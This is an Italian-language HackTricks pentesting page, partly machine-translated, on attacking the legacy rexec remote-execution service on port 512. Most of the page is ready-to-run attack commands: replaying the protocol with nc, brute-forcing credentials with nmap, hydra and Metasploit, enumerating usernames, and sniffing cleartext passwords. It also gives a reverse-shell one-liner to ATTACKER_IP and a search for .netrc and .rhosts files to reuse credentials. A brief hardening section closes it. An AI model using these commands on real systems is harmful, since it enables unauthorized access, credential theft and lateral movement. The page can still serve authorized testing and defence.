512 - Pentesting Rexec
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Rexec (remote exec) è uno dei componenti originali della suite di servizi r di Berkeley (insieme a rlogin, rsh, …). Fornisce una capacità di esecuzione remota di comandi autenticata solo con username e password in chiaro. Il protocollo è stato definito nei primi anni ’80 (vedi RFC 1060) ed è oggi considerato insicuro per progettazione. Tuttavia è ancora abilitato di default in alcune apparecchiature UNIX legacy / collegate in rete e talvolta compare durante pentests interni.
Porta predefinita: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Tutto il traffico – inclusi i credentials – è trasmesso non cifrato. Chiunque abbia la capacità di sniff the network può recuperare lo username, la password e il command.
Panoramica rapida del protocollo
- Client si connette a TCP 512.
- Client invia tre NUL-terminated stringhe:
- il numero di porta (in ASCII) dove desidera ricevere stdout/stderr (spesso
0), - il username,
- la password.
- Viene inviata una stringa finale NUL-terminated con il command da eseguire.
- Il server risponde con un singolo byte di stato a 8 bit (0 = successo,
1= fallimento) seguito dall’output del command.
Se il primo campo è non-zero, il server apre una second TCP connection back to the client e la usa per stderr. Questo è utile sia per manual testing sia per fingerprinting filtering / firewall issues attorno al servizio.
Questo significa che puoi riprodurre lo scambio con nient’altro che echo -e e nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Se le credenziali sono valide, riceverai l’output di id direttamente sulla stessa connessione.
Se vuoi ricevere stderr su un listener dedicato, chiedi al server di connettersi a te:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Molte implementazioni comuni (per esempio GNU rexecd) impongono ancora i campi 16-byte username/password fields e restituiscono different diagnostic strings per username non valido rispetto a password non valida. Questo è importante durante l’enumeration perché alcuni target leak se l’account esiste prima che tu inizi il brute forcing.
Uso manuale con il client
Molte distribuzioni Linux includono ancora il client legacy nel pacchetto inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Se -p è omesso il client richiederà interattivamente la password (visibile sulla rete in chiaro!).
Per evitare di lasciare la password nella shell history / process list, GNU rexec supporta anche la lettura da stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Questo non è not safer on the network; riduce solo l’esposizione locale sull’host attaccante.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Il rexec-brute NSE utilizza il protocollo descritto sopra per provare le credenziali in modo molto rapido.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra ha un modulo dedicato rexec e rimane il più veloce offline bruteforcer. medusa (-M REXEC) e ncrack (rexec module) possono essere usati allo stesso modo.
Username enumeration through server messages
Alcune implementazioni di rexecd espongono errori distinti come Login incorrect. vs Password incorrect.. Se osservi questo comportamento, valida prima gli usernames e solo dopo esegui un brute force sulle password:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Se i messaggi differiscono, costruisci una valid-user list prima di inviare un large password spray.
Controlla i servizi r correlati
rexec itself uses password authentication, unlike rsh / rlogin trusted-host logic, but in practice they often arrive from the same legacy package (openbsd-inetd, inetutils, vendor UNIX bundles). If TCP 512 is open, immediately check TCP 513 and 514 as well because .rhosts / /etc/hosts.equiv abuse may offer easier lateral movement:
nmap -sV -p 512,513,514 <target>
Vedi anche:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Il modulo genererà una shell in caso di successo e salverà le credentials nel database.
Sniffing credentials
Poiché tutto è clear-text, network captures are priceless. Con una copia del traffic puoi estrarre creds senza toccare il target:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC per visualizzare i campi analizzati in modo leggibile.)
Suggerimenti post-exploitation
- I comandi vengono eseguiti con i privilegi dell’utente fornito. Se
/etc/pam.d/rexecè configurato in modo errato (es.pam_rootok), a volte è possibile ottenere shell root. - Rexec ignora la shell dell’utente ed esegue il comando tramite
/bin/sh -c <cmd>. Puoi quindi usare i tipici trucchi di shell-escape (;,$( ), backticks) per concatenare più comandi o generare reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Le password spesso sono memorizzate in
~/.netrco in script di automazione legacy su altri sistemi; se comprometti un host puoi riutilizzarle per movimento laterale:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Hardening / Rilevamento
- Non esporre rexec; sostituiscilo con SSH. Praticamente tutti i moderni superserver inetd commentano il servizio per impostazione predefinita.
- Se devi mantenerlo, limita l’accesso con TCP wrappers (
/etc/hosts.allow) o regole firewall e applica password robuste per account. - Monitora il traffico verso :512 e l’avvio del processo
rexecd. Una singola cattura di pacchetti è sufficiente per rilevare una compromissione. - Disabilita
rexec,rlogin,rshinsieme – condividono la maggior parte della stessa codebase e le stesse debolezze.
Riferimenti
- Documentazione GNU Inetutils
rexecd/rexec– https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Documentazione Nmap NSE
rexec-brute– https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


